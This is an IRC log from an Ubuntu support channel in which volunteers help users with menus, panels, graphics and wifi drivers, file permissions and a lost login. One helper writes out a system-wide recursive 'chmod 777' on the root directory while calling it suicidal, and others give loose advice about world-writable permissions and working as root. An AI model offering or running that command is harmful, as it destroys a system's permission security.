[10:42] <celthunder> chrisbster: what i said would increase startup (or did for me) by a lot
[10:42] <chrisbster> celthunder: You are correct though, it should exponentially increase star-up
[10:43] <chrisbster> celthunder: I was just like...what?
[10:43] <sachin> anyone knows how to add thunderbird to me menu of ubuntu
[10:43] <faryshta> sachin, if you installed thunderbird then you should be able to see it on the menu on the "network" submenu.
[10:43] <whatisthat> sachin, ALT+F2  alacarte press enter
[10:43] <Starminn> sachin: Which Ubuntu version?
[10:43] <celthunder> chrisbster: bison uhm where we at with the pastebin
[10:43] <sachin> what it would alt+f2 and next command will do
[10:43] <sachin> ?
[10:44] <NEWSKY> hi every body
[10:44] <sachin> 11.04
[10:44] <chrisbster> celthunder: haven't heard from bison in a while...?
[10:44] <astropirate> Anyone have any luck with setting up gnome-shell with Natty? I can't stand Unity
[10:44] <Starminn> sachin: This works in 10.04 and 10.10. Not sure about 11.04. https://ubuntugenius.wordpress.com/2010/06/01/email-notification-add-mozilla-thunderbird-to-the-indicator-applet-in-ubuntus-system-tray/
[10:44] <Starminn> !gnome3 | astropirate
[10:44] <ubottu> astropirate: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[10:45] <chrisbster> sachin: Alt-F2 is a run command, similar to Windows Key+R
[10:45] <chrisbster> sachin: alacarte manages the Main Menu
[10:45] <sachin> k
[10:45] <bison> i can't do it
[10:45] <chrisbster> sachin: i promise no one's trying to break you're install
[10:46] <sachin> thanks starminn and chrisbster a lot
[10:46] <Somelauw> Hi, what is the gnome program called that handles wallpaper by default?
[10:46] <sachin> long live ubuntu philosphy
[10:46] <celthunder> chrisbster: what's the default suspend method? uswusp? perhaps compcache mixed with that?
[10:46] <bison> i have no name!@user-desktop:~$
[10:46] <faryshta> sachin, hail! I mean you are welcome.
[10:46] <gaurav_help> how to create dns database in  ubuntu
[10:46] <Blou_Aap> how can I remove a panel, see I got dual screen setup and only want one panel
[10:46] <sachin> k
[10:46] <chrisbster> bison: Am i correct in assuming you are using a different computer for IRC than for the fix?
[10:46] <celthunder> chrisbster: van7hu ever try using compcache with uswusp...that'd suspend pretty fast?
[10:47] <bison> chrsbster: yes sir
[10:47] <celthunder> bison: what can't you do
[10:47] <Blackflowers> Hi, I am looking for user input, I have been using fedora linux the last couple of days and have had nothing but lock-ups have to manually go out and reset the computer and nobody seems to be able to help me, I am curious is ubuntu support more reliable? I've got a computer that I have been trying to get setup for weeks now. Althought it does have some additional hardware which may not be supported by linux.
[10:47] <Starminn> Blou_Aap: Right-click, remove panel..
[10:47] <celthunder> Blackflowers: what's the problem
[10:47] <Blou_Aap> Starminn, 11.04
[10:48] <celthunder> Blackflowers: other than a generic description of "lock up"
[10:48] <Starminn> Blou_Aap: Oh..
[10:48] <bison> chrisbster: im using a dffrnt pc
[10:48] <Ameoba> is there someone online that can help me with troubleshooting a new install of ubuntu 11.04 and graphics performance?
[10:48] <celthunder> bison: chrisbster which part didn't work?
[10:48] <bison> i have no name!@bison-desktop:~$
[10:48] <Blackflowers> It freezes up, typically under wine that I noticed but then it froze up under gkrellm, a friend said that it could be video related.
[10:48] <Somelauw> How do I activate the gnome wallpaper if it shows the default one? What is the command gnome used to set wallpaper?
[10:48] <chrisbster> Blackflowers: What was installed on the box before Linux?
[10:49] <whatisthat> what abut me ???
[10:49] <whatisthat>  Is there a way to keep things like a clock screenlet above the Video window even in fullscreen mode?
[10:49] <Blackflowers> Windows 7
[10:49] <ali_> how do i tell ubuntu to look in a cd for drivers and not internet?
[10:49] <chrisbster> Blackflowers: Did it lock up in Win 7/
[10:49] <celthunder> whatisthat: that depends on your window manager
[10:49] <bison> chrisbster: have no name!@bison-desktop:~$
[10:49] <Feyisayo> Can anyone help? I can't log in to Natty because the screen is messed up with coloured lines
[10:49] <Blackflowers> no, its got a 2+ week uptime going right now.
[10:49] <whatisthat> celthunder, I am using XFCE
[10:49] <celthunder> bison: ?
[10:49] <celthunder> Feyisayo: nvidia?
[10:49] <bison> celthunder: i have no name!@user-desktop:~$
[10:50] <chrisbster> Blackflowers: So it doesn't sound like a HardWare issue
[10:50] <celthunder> bison: whoami
[10:50] <celthunder> bison: type that it'll tell you your username
[10:50] <madness_> a
[10:50] <chrisbster> Blackflowers: It sounds like a driver issue
[10:50] <bison> celthunder: what should i type to get the package
[10:50] <chrisbster> Blackflowers: Maybe a video card?
[10:50] <whatisthat> celthunder, I am using XFCE
[10:50] <celthunder> bison: apt-cache search pastebin..and pick one
[10:51] <Blackflowers> I haven't been able to get any support so I've spent the last day reading up on Ubuntu/Kubuntu. Basically this computer sits in another room, I VNC into it. I use it for storage mainly.
[10:51] <celthunder> whatisthat: idk if you can do that in xfce...i know i can in my wm
[10:51] <Blackflowers> chrisbster : It had onboard video ati 4200 hd
[10:51] <whatisthat> celthunder, which WM are you using?
[10:51] <celthunder> Feyisayo: what's your video hardware
[10:51] <celthunder> whatisthat: Xmonad
[10:52] <bison> celthunder: when i type to get the package (unable to read /etc/apt.cnfg.d/ - directory exist permission denied)
[10:52] <Feyisayo> celthunder: No ATI Radoen generic PnP
[10:52] <shcherbak> Blackflowers: Do you need video for vnc server?
[10:52] <celthunder> Feyisayo: ok do they have 3d support with the open source drivers
[10:53] <json> What is the command to change the permissions (owner, group and execute as program) of a file from 'root' to my account ?
[10:53] <Somelauw> Hi, my default wallpaper is shown instead of the one I provided. Is there a way to activate the wallpaper that I provided myself. It should be somewhere in the settings.
[10:53] <celthunder> shcherbak: you shouldn't
[10:53] <bison> celthunder: when i type apt-cache  (unable to read /etc/apt.cnfg.d/ - directory exist permission denied)
[10:53] <celthunder> json: chown and chmod
[10:53] <Blackflowers> shcherbak its not really a nessecity but i figure it would be nice to have.
[10:53] <dandre> hello
[10:54] <json> celthunder, just chown and chmod ? Nothing else ?
[10:54] <dandre> is sshpass package broken in 11.04?
[10:54] <celthunder> bison: ? apt-get install pastebinit
[10:54] <Blackflowers> when it comes to linux I am and have always been a noob.
[10:54] <celthunder> bison: type that
[10:54] <html_inprogress> Ameoba,  everyone is  having a problem,,,with that ,and if you are going to use as a work computer then go  back to gmone/10.04 /10.10
[10:54] <whatisthat> celthunder, Is Xmonad  in the repos ?
[10:54] <celthunder> json: what else do you need? chown can change group and owner chmod changes execute read and writability of the group user and other
[10:54] <chrisbster> Blackflowers: Next time you lock up, see if you can punch  ctrl-alt-shift F2
[10:55] <celthunder> whatisthat: yes
[10:55] <Blackflowers> Ok
[10:55] <bison> celthunder: i typed "apt-get install pastebin"
[10:55] <celthunder> bison: you forgot the it at the end
[10:55] <celthunder> it's pastebinit
[10:55] <chrisbster> Blackflowers: If that works, it means X (The graphics rendering program) is frozen, but your hardware is fine
[10:55] <json> celthunder, Yes, but no other args ? As in just, $ chown <file> will do it for me ?
[10:55] <celthunder> whatisthat: get xmonad-contrib and xmobar too...you'll want them
[10:55] <Feyisayo> celthunder, video hardware? What's that?
[10:56] <chrisbster> Blackflowers: To back back to your frozen screen, press CTRL-ALT-F7
[10:56] <Ameoba> html_inprogress: ok if it's a common problem I'll keep an eye on the forums and wait for an update then
[10:56] <celthunder> json: chown <user>:<group> <file> <file2>
[10:56] <chrisbster> Blackflowers: The command I gave you will get you to a terminal
[10:56] <bison> celthunder: i typed "apt-get install pastebinit"
[10:56] <celthunder> bison: and?
[10:56] <syockit> Me wants to know how to properly set firefox's dpi settings
[10:56] <bison> celthunder:  (unable to read /etc/apt.cnfg.d/ - directory exist permission denied)
[10:57] <chrisbster> bison: put 'sudo' in front of that command
[10:57] <whatisthat> celthunder, okay
[10:57] <chrisbster> Blackflowers: if that works, all hope is not lost
[10:57] <json> celthunder, Thanks ! And to execute the file as program, giving read/write privileges as well  ?
[10:57] <chrisbster> Blackflowers: come back here, and we can probably sort you out, just tell them you have an issue with X locking up
[10:58] <bison> celthunder: (sudo: can't open /etc/sudoers" permission denied)
[10:58] <celthunder> json: chmod <user><group><other> <file> <file2>  777 is everyone can do everything
[10:58] <json> celthunder, Thank you !
[10:58] <chrisbster> Blackflowers: If it doesn't, it means you either have an issue with memory or your HD that windows isn't noticing yet
[10:59] <celthunder> json: to set on a directory add a -R after chmod so chmod -R 777 / means everyone can do anything on any file (don't do that...it's suicidal)
[10:59] <chrisbster> Blackflowers: I don't want to dig around yet until we figure out which one it is
[10:59] <Rehan> I'm trying to copy an image of my ubuntu install to my USB flash drive. How can I make it so that there's a GRUB install on the usb flash drive too after I use dd to copy it over? Thank you very much.
[10:59] <celthunder> bison: you don't have sudo access?
[10:59] <json> celthunder, Yup, I needed that, too ! It's only me... !
[11:00] <bison> celthunder: something like that
[11:00] <chrisbster> bison: celthunder oh oh
[11:00] <celthunder> json: the -R works on both commands btw
[11:00] <chrisbster> bison: celthunder have him change his user
[11:00] <ace__> is anyone else experience really really slow wireless internet in 11.04?
[11:00] <chrisbster> bison: celthunder What does whoami return?
[11:00] <Blackflowers> chrisbster well Fedora wasn't my choice I let someone talk me into it and they promised they would help and now I just want to choke them, Ubuntu was my original but like always I let someone convince me what to run.
[11:01] <json> celthunder, Is there a book where you get your info from ? I mean, besides, the man pages... ?
[11:01] <shcherbak> bison: please paste output of: groups <yourusername>
[11:01] <celthunder> bison: chrisbster idk i told him run that he didn't give back output
[11:01] <Feyisayo> celthunder, do you mean my driver details?
[11:01] <celthunder> json: man pages and common command knowledge
[11:01] <celthunder> Feyisayo: yes
[11:01] <__shai> hello :) is there a way to create a partition via command line without user interaction?
[11:01] <lenovo> ryyjsj
[11:01] <Starminn> json: Google around for Bash lessons/guides
[11:01] <chrisbster> Blackflowers: I really am sorry BlackFlowers, I prefer Ubuntu build to the Fedora one anyways
[11:02] <bison> whoami: cannot find name for user
[11:02] <shcherbak> !abs > json
[11:02] <ubottu> json, please see my private message
[11:02] <chrisbster> bison: celthunder He's nobody right now
[11:02] <tmag> Hi, I'm trying to resize a raid1 partition with mdadm (I am using a live cd for this), but when I do "mdadm -- grow /dev/md0 --size=max", the size is set to 500G, but both disks have a capacity of 1000G. Am I forgetting something here?
[11:02] <lenovo> hello everybody.......i am come from china ....
[11:02] <wn1zid> is there a bounce feature in evolution ?
[11:02] <json> celthunder, man pages, then for me !
[11:02] <ace__> hey lenovo
[11:02] <celthunder> bison: chrisbster lol no wonder he can't do anything LOL bison logout (type exit) and login as your user
[11:03] <celthunder> json: they're there for a reason :)
[11:03] <bison> :)
[11:03] <json> Starminn, Yes, shcherbak just pointed one to me.. !
[11:03] <celthunder> json: theres some bash guides as someone just suggested that might help if you're lazy
[11:03] <celthunder> __shai: yeah there is
[11:03] <chrisbster> bison: celthunder Now we can make some progress
[11:04] <Feyisayo> celthunder, how do I use the open source drivers?
[11:04] <json> shcherbak, Thanks ! I'll look it up... Who know ? I'll come back later and help you !!
[11:04] <bison> when i type my username and password - it shows that i have no name :)
[11:04] <adam__> Hey guys, I'm having a problem with compiz. Anyone who can help?
[11:04] <mar_je> i can help :D
[11:04] <chrisbster> bison: celthunder Type whoami again
[11:04] <celthunder> Feyisayo: ? if you're using catalyst no wonder it's broken those havn't been updated since like 2004
[11:04] <mar_je> what a problem? :D
[11:04] <chrisbster> same output?
[11:04] <adam__> I'm using an nvidia card with the proprietary drivers installed and when I drag windows it stutters a lot.
[11:04] <bison> cannot find name
[11:05] <Blackflowers> I'm new to all of this linux and I have a decent machine built for it. I have planned on doing a Ubuntu install I want to keep it simple. It feels like I've been dropped on my head with Fedora.
[11:05] <celthunder> Feyisayo: find them in apt then install modprobe -r the existing ones and modprobe up the right ones
[11:05] <adam__> It happens in both Unity and Classic, so I assume it's a compiz issue.
[11:05] <json> celthunder, yes, thank you, thank you !
[11:05] <mar_je> hmm
[11:05] <mar_je> so
[11:05] <chrisbster> bison: celthunder OK, we are going to (dare i say it) log you in as root
[11:05] <chrisbster> bison: celthunder I promised myself I would never do this...
[11:05] <mar_je> what happening when you enable soft-windows?
[11:05] <celthunder> chrisbster: i told him to sudo su - and set a root pw and just use that for now a while ago...
[11:06] <mar_je> (sory for bad lang. ;>)
[11:06] <celthunder> chrisbster: why not? i ALWAYS have at least 3 root terminals open...and a few user terminals too but...they're needed
[11:06] <adam__> It's okay. Where is the soft window option?
[11:06] <wn1zid> Blackflowers-   many people like showing off to new comers, with that ill leave it up to you, ubuntu has the best help community.
[11:06] <__shai> celthunder: can I create an xfs partition using parted?
[11:06] <mar_je> go to ccsm
[11:06] <mar_je> and... in effects group
[11:06] <bison> ok what is the command to login as a root
[11:07] <chrisbster> bison: celthunder bison, logout and login with the name 'root' and the password as your user password
[11:07] <Blackflowers> wn1zid so far i've gotten more help here since i've joined the channel than in the past 4 days of asking around everywhere else.
[11:07] <Blackflowers> I almost had the machine pulled apart and was looking to see if the mainboard was bad.
[11:07] <celthunder> chrisbster: ? his root password is his user password? that's just dumb
[11:07] <wn1zid> well, i would wipe the drive and put ubuntu in its place and be done with it.
[11:07] <mar_je> you should have option (with icon like a curved window) ;d
[11:07] <chrisbster> bison: celthunder that's what I was guessing
[11:08] <ali_> how do i install sta drivers?
[11:08] <Blackflowers> Sounds like the best plan.
[11:08] <adam__> Fading Windows or Wobbly Windows?
[11:08] <mar_je> wobbly
[11:08] <adam__> Fading is checked, Wobbly is not.
[11:08] <AceKing> I'm trying to disable "Recent Documents" If I use this command, sudo apt-get remove zeitgeist will it interfere with anything else?
[11:08] <chrisbster> bison: celthunder since he doesn't have extensive knowledge of a Unix environment, I was assuming he was using the defaults
[11:08] <mar_je> and what happening now?
[11:08] <bison> login incorrect
[11:09] <adam__> I'm currently in the no effects desktop right now. I'll relog into compiz.
[11:09] <Feyisayo> celthunder, ok I try that. But right now. I can't log in because of the messed up display. Any ideas as to a work around?
[11:09] <celthunder> Feyisayo: ctrl alt f1
[11:10] <adam__> Okay, now I'm in the compiz login. :)
[11:10] <mar_je> okay
[11:10] <milen8204> I did something and now I have no up-lets , who to review thous back ?
[11:10] <mar_je> so try that option D:
[11:10] <Blackflowers> Should i install 11.04 or a earlier version, this machine has 8gb ram and if i remember 32bit has PAE which works fine right?
[11:10] <adam__> The windows wobble, but it's still stuttering.
[11:11] <celthunder> Blackflowers: up to you...
[11:11] <karthick87> I am unable to login, can any one help pls ?
[11:11] <ali_> how do i enable networking?
[11:11] <bison> i login as root then my password would be my user password
[11:11] <mar_je> what is your hardware spec?
[11:11] <celthunder> wn1zid: how is installing ubuntu going to help Blackflowers if it's a driver problem he should be asble to fix it in fedora or any other distro as well as ubuntu
[11:11] <bison> login incorrect
[11:11] <vibhav> I am having a problem , anybody willing to help?
[11:12] <adam__> I'm running a tri-core Phenom 8650, 6gb DDR2, nvidia GTX 260, and 11.04
[11:12] <mar_je> hm
[11:12] <adam__> I'm using the proprietary drivers as well.
[11:12] <ali_> can i reinstall ubuntu over itself?
[11:12] <mar_je> it should be enought to run
[11:12] <milen8204> anyone knows how to showup my panels
[11:12] <mar_je> yes, you can ;)
[11:12] <syockit> bison, usually root is disabled. Did you setup root by yourself?
[11:12] <celthunder> bison: chrisbster ok boot to grub edit the kernel line and add a 1 at the end.  when done booting you'll be at a root terminal type passwd set a password then tytpe telinit 3 to boot the rest of the way into a terminal
[11:12] <mar_je> there is an option in installer
[11:12] <wn1zid> celthunder-  i entered with Blackflowers  commented on not getting help anywhere for fedora, and this being a ubuntu help only and her being new, i thought best for her to start fresh.
[11:12] <CaneToad> I'm finding an odd change in behaviour after some updates... if I press the CTRL key, when I release it I get circular animated rings appearing where the mouse pointer is, and also I cannot hold down control and select additional files in a file selection dialog...it lets me use shift but not CTRL... any ideas?
[11:12] <mar_je> "Install over"/"Reinstall"
[11:12] <mar_je> sth like this
[11:13] <Blackflowers> amd x6 1090t black edition, 8gb ddr-1333, onboard ati 4200. and 8x2tb drives. 1x 1tb drive (boot)
[11:13] <vibhav> I am having a problem , anybody willing to help?
[11:13] <M|l> whois M|l
[11:13] <celthunder> Blackflowers: use the 64 bit....why use 32 when 64 is supported
[11:13] <M|l> sorry
[11:13] <M|l> :)
[11:13] <chrisbster> bison: celthunder We might have to talk him through that
[11:13] <milen8204> Please helmee guys
[11:13] <rodemire> Multiple monitors in Unity: How can i get the launcher to appear on both monitors?
[11:14] <chrisbster> bison: celthunder But I need to get some sleep. You need some more help on here celthunder. I'll try and come back a different time
[11:14] <celthunder> vibhav: what was your issue didn't se it sorry
[11:14] <chrisbster> bison: celthunder Night!
[11:14] <Blackflowers> Okay. I was under the impression that their wasn't much for x64 support. Time to get some coffee in me and get this started. :)
[11:15] <Feyisayo> celthunder, at what point do I press that?
[11:15] <celthunder> Feyisayo: when your screen is fubared
[11:15] <celthunder> Feyisayo: though sooner probably will still work
[11:16] <vibhav> <celthunder> I cant access gnome 3 from gnome 3
[11:16] <celthunder> ?
[11:16] <adam__> So, is anyone else having any window stuttering issues in Unity/Compiz?
[11:16] <vibhav> <celthunder> I cant access ubuntu one from gnome 3
[11:16] <celthunder> vibhav: uhm can't help you sorry...don't use ubuntuone
[11:17] <milen8204> Please help me. I do not my panels How to restore them ?
[11:17] <shcherbak> vibhav: I think, I saw Ubuntu One in one of Gnome3 todo lists ;)
[11:17] <robin0800> vibhav, I have tearing in unity 3d when it does actually run
[11:18] <zvacet> milen8204: using gnome?
[11:18] <robin0800> vibhav, gnome3 breaks unity
[11:18] <zvacet> !panel
[11:18] <milen8204> zvacet, yes i have gnome terminal
[11:18] <ali_> no network devices available?
[11:18] <shcherbak> !resetpanel | milen8204
[11:18] <ubottu> milen8204: To reset the GNOME panel to defaults, type this in a !terminal: « gconftool --recursive-unset /apps/panel && killall gnome-panel »
[11:19] <celthunder> ali_: ifconfig -a
[11:19] <celthunder> ali_: anything listed?
[11:19] <milen8204> shcherbak, thanks
[11:19] <zvacet> milen8204:  gconftool --recursive-unset /apps/panel && killall gnome-panel
[11:20] <ali_> celthunder: no only exclamation mark over wireless icon
[11:20] <milen8204> zvacet, it worked :D thanks a lot
[11:20] <celthunder> ali_: did you type ifconfig -a you shouldh ave at LEAST the lo devic
[11:21] <zvacet> milen8204: glad I can help  :)
[11:21] <milen8204> thanks all D
[11:21] <ali_> celthunder: lo device is loopback
[11:21] <shcherbak> ali_: see if: jockey-gtk will tell you of any wifi drivers
[11:22] <celthunder> ali_: yeah i know lol when you said no results i was just ??? if you had screwed up your /etc/hosts anyway....uhm does it see your hardware?
[11:22] <adam__> Okay, I've done a fair amount of work trying to find any solution to this, but I cannot. Does anyone in here know why my windows are stuttering when moving them under Compiz?
[11:22] <ali_> celthunder: yes i see both wired and wireless cards
[11:23] <adam__> My machine is more than enough to run it, and I'm using an nvidia gtx 260 with the proprietary drivers. I am kinda lost at this point.
[11:23] <mlankhorst> did you enable too many fancy effects?
[11:23] <celthunder> ali_: ok but they don't show up in ifconfig? do you have the kernel modules for them loaded
[11:23] <tmag> Hi, I'm trying to resize a raid1 partition with mdadm (I am using a live cd for this), but when I do "mdadm -- grow /dev/md0 --size=max", the size is set to 500G, but both disks have a capacity of 1000G. Did I forget something?
[11:23] <rodemire> Hi there, anyone know how to configure an Nvidia graphics card to display the Unity Launcher on multiple displays?
[11:23] <adam__> mlankhorst: I enabled nothing manually, it's only what comes default on Natty.
[11:24] <ali_> celthunder: don't know which ones i need
[11:24] <Chepoll> I have tried to change my keyboard layout using dpkg, from turkish Q to USA Q, I rebooted and now my computer has no internet connection ( it is wired connection and I didn't have to input anything to connect, before) and my window manage (stumpwm) does not even detect my keyboard or my mouse. Help me please
[11:24] <celthunder> ali_: what's your hardware?
[11:24] <ali_> broadcom bcm4401 and bcm4318 wireless
[11:25] <ali_> celthunder: broadcom bcm4401 and bcm4318 wireless
[11:25] <celthunder> ali_: you'll need b43 driver and fwcutter or something like that
[11:25] <celthunder> ali_: try installing those 2 and seeing if that works
[11:26] <celthunder> Chepoll: ifconfig eth0 <ip> netmask <netmask> && route add default gw <yourgateway>
[11:26] <The_Phoenix> Hi guys, am trying to install RALink Wifi USB adapter on Ubuntu 10.04.
[11:26] <ali_> celthunder: synaptic wanyts to connect to internet and download but i only have the install cd.how do i tell it to look in cd instead?
[11:26] <celthunder> Chepoll: do you have hotplugging disabled?
[11:26] <robin0800> Chepoll, doubt if the two are related
[11:26] <The_Phoenix> insmod for RT3070 ko file fails with invalid symbol.
[11:27] <The_Phoenix> (as well as modprobe)
[11:27] <defswork> banshee sucessfully kills my pc when playing - cpu maxed out etc..
[11:27] <The_Phoenix> the network manager shows that it established a successful wifi connection but am not able to browse. RT2870 drivers load fine.
[11:27] <celthunder> ali_: add the cd to your sources.list
[11:28] <zvacet> ali_: synaptic>repositories>check cd drive as repo reload and try again
[11:28] <Chepoll> robin0800: Well the two came together, out of nowhere
[11:28] <Chepoll> celthunder: how can I check whether hotplugging is enabled or not?
[11:29] <celthunder> Chepoll: check your xorg.conf
[11:29] <celthunder> Chepoll: also do you have evdev installed
[11:30] <AceKing> does anyone know how to disable "Recent Documents" in 11.04?
[11:30] <Chepoll> celthunder: whereis evdev works
[11:31] <BKTech86> my ubuntu splash screen is messed up at bootup (pixellated, flickers), but it doesn't happen when i boot with livecd, how can I fix this?
[11:31] <sine_> hi guys im having an issue with ubuntu. whenever i boot into it the internet connection slows right down almost to nothing. i thought it was an isp problem but when i boot into windows like now there is no issue
[11:32] <The_Phoenix> what are floodbot1, 2 , 3? :/
[11:32] <ali_> sherback: nothin found
[11:32] <Chepoll> celthunder: my xorg.conf is very plain, there is nothing in it, and there was nothing in it too
[11:32] <stephan_> Hey I got a problem with untiy, I miss my clock applet in the panel. I don't know if I deleted it or what i have done. So someone know how to restore it?
[11:32] <Chepoll> celthunder: only a few definitions and that's all
[11:33] <angelete2> hi
[11:33] <gboers> Hello
[11:33] <angelete2> i'm trying to mount a samba share using sudo mount -t cifs -o username=user //host/share /mnt/mountpoint
[11:33] <angelete2> but it gives me an error
[11:34] <The_Phoenix> anybody willing to help me with the drivers? :(
[11:34] <gboers> @angelete2 what kind of error does it return?
[11:34] <sara2010> any one there
[11:35] <The_Phoenix> sara2010: a lot of people are here.
[11:35] <angelete2> gboers: give me 10 minutes to try again
[11:35] <g[r]eek> Hello. We've made a habit of only using LTS ubuntu server releases. But over the last 5 years, we haven't really leverage LTS in any way directly. Is there any risk to just going straight to 11.04? Or do I benefit by using LTS 10.04 in some way that I don't know about? Thanks.
[11:36] <Seven_Six_Two> uh oh. I'm going to have to install 11.04 in order to participate... Is gnome in 11.04 similar enough to 10.10?
[11:36] <gboers> gnome itself is
[11:36] <sara2010> The_Phoenix .. i m uning ubuntu 10.10
[11:36] <Feyisayo> celthunder, thanks so much. I'll try your advice ASAP. Thanks
[11:36] <gboers> but the standard interface is unity in 11.04
[11:36] <sara2010> and i  working on openoffice calc
[11:36] <gboers> Infact I'm running ubuntu 11.04 with gnome 3 =D
[11:36] <Seven_Six_Two> gboers, so no huge surprises?
[11:37] <sara2010> i m entring 3+  but + not comeing with 3
[11:37] <gboers> well I did not like unity as much as I do gnome 3 but nope everything worked out of the box
[11:37] <The_Phoenix> Am trying to install RT3072/RT3070/RT30xx RALink USB wifi adapter on 10.04. I can't modprobe/insmod the relevant driver. Says invalid symbol.
[11:37] <sara2010> what should i do
[11:37] <magum> hi @all
[11:37] <rchavik> whew.. just had a real bad scare upgrading to 11.04.
[11:37] <shcherbak> Seven_Six_Two: Ten_ten is easier to remember.
[11:37] <Chepoll> celthunder: evdev exists and I don't have hotplugging.
[11:37] <Seven_Six_Two> gboers, no I tried unity on 10.04. not for me
[11:37] <gboers> #rchavik what's the problem
[11:38] <magum> could somebody please tell me how I can close my gnome session and go to the login screen from the console?
[11:38] <Roger_Bonjabee> hello :D
[11:38] <magum> I am stuck in a gnome session without title or side bar...
[11:38] <rchavik> gboers, upgrade hung mid-way... had to kill processes to continue.. upon restart udev cannot find my disks
[11:38] <Chepoll> magum: press ctrl alt F1
[11:38] <celthunder> magum: ctrl alt f1 ps and kill the x session
[11:39] <magum> killing the x session... that is an idea
[11:39] <magum> I'll try it!
[11:39] <Hitek> hi
[11:39] <Hitek> !it
[11:39] <ubottu> Vai su #ubuntu-it se vuoi parlare in italiano, in questo canale usiamo solo l'inglese. Grazie! (per entrare, scrivi « /join #ubuntu-it » senza virgolette)
[11:39] <shcherbak> magum: sudo service gdm restart
[11:39] <Chepoll> yeah, then log out from there using exit and whatnot
[11:39] <Seven_Six_Two> shcherbak, well it may take a while. but in, ah, about 1,400 releases from now, I'm going to have the awesomest nick
[11:40] <Roger_Bonjabee> my nic is a prety good one
[11:40] <BKTech86> hi, how can i fix the resolution of my splash screen at bootup?
[11:40] <Seven_Six_Two> I'm sure by then .04-.10 will get old, and they'll switch to the more humane .2-.42 series
[11:41] <g[r]eek> *bump* Hello. We've made a habit of only using LTS ubuntu server releases. But over the last 5 years, we haven't really leverage LTS in any way directly. Is there any risk to just going straight to 11.04? Or do I benefit by using LTS 10.04 in some way that I don't know about? Thanks.
[11:41] <The_Phoenix> sara2010: Please keep questions/answers on one line, and address the recipient. Which + key did you use?
[11:41] <th^^> g[r]eek: when it comes to servers, they should "just run and work, and change as little as possible", LTS is for this ;)
[11:41] <Seven_Six_Two> g[r]eek, the newer it is, the more likely it is that there are still bugs. If you *need* it to work, use LTS if you can.
[11:42] <geet> anybody linux expert here?
[11:42] <Seven_Six_Two> geet, aren't we all?  ;)
[11:42] <jatt> what?
[11:42] <g[r]eek> ok thanks
[11:42] <zvacet> geet:  none
[11:42] <AceKing> does anyone know how to disable "Recent Documents" in 11.04?
[11:42] <Roger_Bonjabee> they should make this chat change colours between people its hard to see who is writing what
[11:42] <Hitek> can i install level one wua-0614 (usb) wifi?
[11:43] <jrib> Roger_Bonjabee: most clients do
[11:43] <shcherbak> Roger_Bonjabee: There is script for irssi (nm.pl) to make some colors.
[11:43] <Seven_Six_Two> Roger_Bonjabee, you mean like gray-white-gray-white-gray-white? That would drive me insane. It would reverse every line all up the screen.
[11:44] <geet> I have an issue with ubuntu...on dell...it gets heated can anybody suggest solution or better linux?
[11:44] <karthick87> I am unable to change the wallpaper, can anyone help me pls ?
[11:45] <syockit> karthick87: are you using Windows Starter?
[11:45] <karthick87> syocit: No
[11:45] <karthick87> syockit: No
[11:45] <Hitek> somebody can help me? please
[11:45] <Chepoll> celthunder: also the command you've written to connect eth0 gives permission error, while on root
[11:46] <syockit> karthick87, ok sorry that was a joke. What is the Desktop Manager you are using? Gnome/KDE/else?
[11:46] <magum> back
[11:46] <magum> thx for the tips
[11:47] <karthick87> syockit: Gnome
[11:47] <magum> ... restart gdm did not work, but killing Xorg was fine
[11:47] <geet> gnome3 vs unity???
[11:47] <Seven_Six_Two> has anyone had/heard about problems with dual-head setups?
[11:47] <shcherbak> karthick87: Did you try right click on desktop?
[11:47] <popey> Seven_Six_Two: I use ubuntu on a dual screen setup, whats the issue?
[11:48] <syockit> karthick87, usually it is configurable under Appearance.
[11:48] <karthick87> Yes i guess it seems to be a permission issue
[11:48] <syockit> karthick87, and if you are using the old Gnome (not Unity), I think it's somewhere under Preferences, but I can't recall
[11:48] <gunther44> argh! "E: Sub-process /usr/bin/dpkg returned an error code (1)"
[11:48] <gunther44> i can't build anything, my make system is extremely broken
[11:49] <minimal> how to configure pppoe in Ubuntu Minimal Installation  ?
[11:49] <karthick87> syockit: Yeah its under system preferences, but thats not changing..
[11:49] <Seven_Six_Two> popey, oh nothing yet. I use twinview with absolute positioning so that I can drag from one screen to the other. I haven't gone to 11.04 yet, so I wanted confirmation from at least one person that it can maybe work. I have an nvidia 6800gtoc
[11:49] <shcherbak> karthick87: gconf-editor and /desktop/gnome/background/picture_filename
[11:50] <syockit> karthick87, ah, I suppose you've selected one, but then the change does not apply, right?
[11:50] <karthick87> Yeah
[11:50] <Seven_Six_Two> popey, I've downloaded the installer, and was going to try it in vmware, but that won't show me anything useful. unfortunately my only free partition right now is being used by backtrack
[11:51] <minimal> how to configure pppoe in Ubuntu Minimal Installation  ?
[11:51] <popey> Seven_Six_Two: i use ubuntu 11.04 with twinview on my desktop, works well
[11:51] <pranav> How to update my Gnome in Ubuntu LTS to Gnome 3 ?
[11:51] <shcherbak> gunther44: Try: sudo apt-get install -f
[11:52] <shcherbak> !gnome3 > pranav
[11:52] <ubottu> pranav, please see my private message
[11:52] <syockit> karthick87, is there any background currently? or the default? or just black?
[11:52] <Kre10s> hey! I have a laptop with et2 file systems... is there any way to upgrade them without loosing data?
[11:52] <Kre10s> *ext2
[11:52] <bazhang> Kre10s, you mean change ext2 to ext3/4?
[11:52] <gunther44> shcherbak: thanks, just done it, and still the same error
[11:52] <g4> I'm trying to setup desktop-webmail, but when I use "Send by email" it seems like Opera starts instead of Firefox and webmail.
[11:52] <Kre10s> bazhang, yup!\
[11:53] <bazhang> minimal, taken a look at pppoeconf ?
[11:53] <pranav> shcherbak: Thanks, but what it means by 'will break unity' ?
[11:53] <Seven_Six_Two> popey, good, thanks. I remember having an ati card, and discovering after an upgrade (long, long ago) that their new driver cut off support for a whole whack of cards, and xfree updated at the same time and required the new ati driver. I was so mad. SO mad.
[11:53] <karthick87> syockit: Currently there is a background. But setting new bakground does not apply
[11:53] <bazhang> !info pppoeconf | minimal
[11:53] <ubottu> minimal: pppoeconf (source: pppoeconf): configures PPPoE/ADSL connections. In component main, is standard. Version 1.19ubuntu1 (natty), package size 22 kB, installed size 340 kB
[11:53] <fredrik_> in my gnome panel I had a icon that when you clicked on it and then on a window closed that process. This was very handy when a window stoped responding. How can this be done in Unity?
[11:53] <bison> celthunder: still there?
[11:53] <bison> celthunder: im in
[11:53] <Seven_Six_Two> I read that the new version of xorg has multipointer functionality built in...
[11:54] <syockit> pranav, if on LTS, probably you don't have to worry. Unity is the new interface for newer release
